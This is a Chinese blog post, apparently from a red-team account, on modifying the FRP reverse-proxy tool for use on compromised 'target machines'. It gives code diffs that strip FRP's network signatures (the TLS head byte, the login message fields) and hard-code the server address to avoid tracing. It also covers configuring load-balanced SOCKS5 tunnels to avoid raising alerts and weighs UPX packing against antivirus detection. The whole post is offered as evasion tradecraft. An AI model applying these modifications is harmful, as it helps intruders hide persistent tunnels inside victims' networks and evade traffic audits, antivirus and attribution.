Frp改造

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2021年11月21日10:28:28评论1,771 views字数 3977阅读13分15秒阅读模式

Frp改造


介绍


修改下Frp比较明显的一些特征，更好的隐藏自己，躲避下流量审计。


TLS加密


Frp使用时以明文相互传输，可使用TLS协议来加密传输，在Frpc配置文件中添加如下内容：


tlsenable = true


也可以强制使用TLS，在Frps中配置如下内容：


tlsonly = true


且socks5验证，不使用TLS情况下，明文状态也会暴露账号和密码：


Frp改造


加密后的情况：


Frp改造


传输压缩


有些局域网会进行流量和特征的识别，从而进行拦截，这里可以使用Frp的流量加密和压缩功能，Frpc端进行如下配置：


use_encryption = trueuse_compression = true


PS：如果使用了TLS加密，则除XTCP外，不需要再设置 use_encryption。


信息修改


Frp连接时，客户端会发送相关请求到服务端，这些请求内容是固定了，包含了目标机的一些信息，如下图：


Frp改造


上述version等信息字段我们可以进行修改，文件位置在pkg/msg/msg.go中，修改示例如下：


type Login struct {  Version      string            `json:"vs"`  Hostname     string            `json:"hn"`  Os           string            `json:"oos"`  Arch         string            `json:"ac"`  User         string            `json:"username"`  PrivilegeKey string            `json:"pk"`  Timestamp    int64             `json:"ts"`  RunID        string            `json:"ri"`  Metas        map[string]string `json:"m"`
  // Some global configures.  PoolCount int `json:"pool_count"`}


特征修改


Frp为了端口复用，建立TLS连接时第一个字节是固定的0x17，且后面数据包大小为317，流量如下图：


Frp改造


代码位置在pkg/util/net/tls.go，代码中需改的四处已经标上了注释：


package net
import (  "crypto/tls"  "fmt"  "net"  "time"
  gnet "github.com/fatedier/golib/net")
var (  // FRPTLSHeadByte = 0x17  // 修改后  FRPTLSHeadByte = 0x16)
func WrapTLSClientConn(c net.Conn, tlsConfig *tls.Config, disableCustomTLSHeadByte bool) (out net.Conn) {  if !disableCustomTLSHeadByte {    // c.Write([]byte{byte(FRPTLSHeadByte)})    // 修改后    c.Write([]byte{byte(FRPTLSHeadByte),byte(0x71),byte(0x72)})  }  out = tls.Client(c, tlsConfig)  return}
func CheckAndEnableTLSServerConnWithTimeout(  c net.Conn, tlsConfig *tls.Config, tlsOnly bool, timeout time.Duration,) (out net.Conn, isTLS bool, custom bool, err error) {
  // sc, r := gnet.NewSharedConnSize(c, 2)  // 修改后  sc, r := gnet.NewSharedConnSize(c, 4)  // buf := make([]byte, 1)  buf := make([]byte, 3)  var n int  c.SetReadDeadline(time.Now().Add(timeout))  n, err = r.Read(buf)  c.SetReadDeadline(time.Time{})  if err != nil {    return  }
  // if n == 1 && int(buf[0]) == FRPTLSHeadByte {  // 修改后  if n == 3 && int(buf[0]) == FRPTLSHeadByte {    out = tls.Server(c, tlsConfig)    isTLS = true    custom = true  } else if n == 1 && int(buf[0]) == 0x16 {    out = tls.Server(sc, tlsConfig)    isTLS = true  } else {    if tlsOnly {      err = fmt.Errorf("non-TLS connection received on a TlsOnly server")      return    }    out = sc  }  return}


不一定需要改成上面的0x16，0x71，0x72，这里尝试其它的十六进制也可以，流程也能走通，改完重新编译后包如下：


Frp改造


配置文件


目标机运行客户端加载frpc配置文件时，会包含服务器的地址，泄露敏感信息，容易被溯源，建议隐藏。


网上整理的方法：1，将信息写死到代码中，进行编译。2，使用域前置。3，加载配置文件后自动删除。4，远程加载配置文件等等。


这里看了下把配置信息写到代码中的情况，网上是之前的版本，最新版本有些小改动，尝试了一直没跑起来，所以最后换了个办法。


因为Frpc在不配置地址和端口的情况下，默认是0.0.0.0和7000，所以配置文件我们可以不写，把代码中的默认地址改一下就行，比较省事。


代码位置在pkg/config/client.go中，如下图：


Frp改造


这里改成我服务端的IP172.168.1.16，可以成功连接：


Frp改造


这里可以再尝试一个不存在的IP，比如172.168.111.111，会报错超时，可以发现默认配置是生效的，有向111的地址请求：


Frp改造


负载均衡


负载均衡一定程序也可以算是流量规避，如果内网中流量过大，或者目标机器性能不太好等情况下，更容易引起警觉，相关配置参考：


Frps.ini


[common]bind_addr = 0.0.0.0bind_port = 7000kcp_bind_port = 7000
dashboard_port = 7500dashboard_user = fuzaidashboard_pwd = fuzai


Frpc.ini 1:


[common]server_addr = 172.168.1.16server_port = 7000protocol = kcptls_enable = true
# 这里跟其他的client的不能一样[plugin_socks5_fuzai1]type = tcpremote_port = 6000plugin = socks5plugin_user = adminplugin_passwd = admin
# 启用健康检查，类型为 tcphealth_check_type = tcp
# 建立连接超时时间为 3 秒health_check_timeout_s = 3
# 连续 3 次检查失败，此 proxy 会被摘除health_check_max_failed = 3
# 每隔 10 秒进行一次健康检查health_check_interval_s = 10
# 压缩一下流量吧，反正不差那点cpu占用率，毕竟咱都负载均衡了use_compression = true
# 负载均衡配置客户组group = fuzaigroup_key = 123456


Frpc.ini 2：


[common]server_addr = 172.168.1.16server_port = 7000protocol = kcptls_enable = true
# 这里跟其他的client的不能一样[plugin_socks5_fuzai2]type = tcpremote_port = 6000plugin = socks5plugin_user = adminplugin_passwd = admin
# 启用健康检查，类型为 tcphealth_check_type = tcp
# 建立连接超时时间为 3 秒health_check_timeout_s = 3
# 连续 3 次检查失败，此 proxy 会被摘除health_check_max_failed = 3
# 每隔 10 秒进行一次健康检查health_check_interval_s = 10
# 压缩一下流量吧，反正不差那点cpu占用率，毕竟咱都负载均衡了use_compression = true
# 负载均衡配置客户组group = fuzaigroup_key = 123456


客户端以此类推就行，主要是pulgin_socks5_fuzaixxx那个名字保证不一样就可以，服务端访问Web查看流量分布基本比较均匀：


Frp改造


服务端日志中也可以看到进行了相互切换：


Frp改造


自己编译


修改代码后，Frp本身提供了交叉编译脚本，直接make就好，所以建议在Linux上操作，相关命令如下：


wget https://golang.org/dl/gox.xx.x.linux-amd64.tar.gztar -zxvf gox.xx.x.linux-amd64.tar.gz -C /usr/local/ln -s /usr/local/go/bin/go /bin/govim /etc/profileexport GOROOT=/opt/goexport GOPATH=/home/work/goexport GOBIN=$GOPATH/binexport PATH=$PATH:$GOROOT/bin:GOBINsource /etc/profilego envgo env -w GOPROXY=https://goproxy.cncd frpmake -f Makefile.cross-compiles


总结


原生编译出来的Frp可能会比Upx压缩过后的的免杀效果要好，Upx压缩减小大小后，反而报毒的会更多（但国外偏多一点），可参考目标机是什么杀软，再判断是否要进行压缩，或者进行相关手段的免杀处理。

原文始发于微信公众号（aFa攻防实验室）：Frp改造

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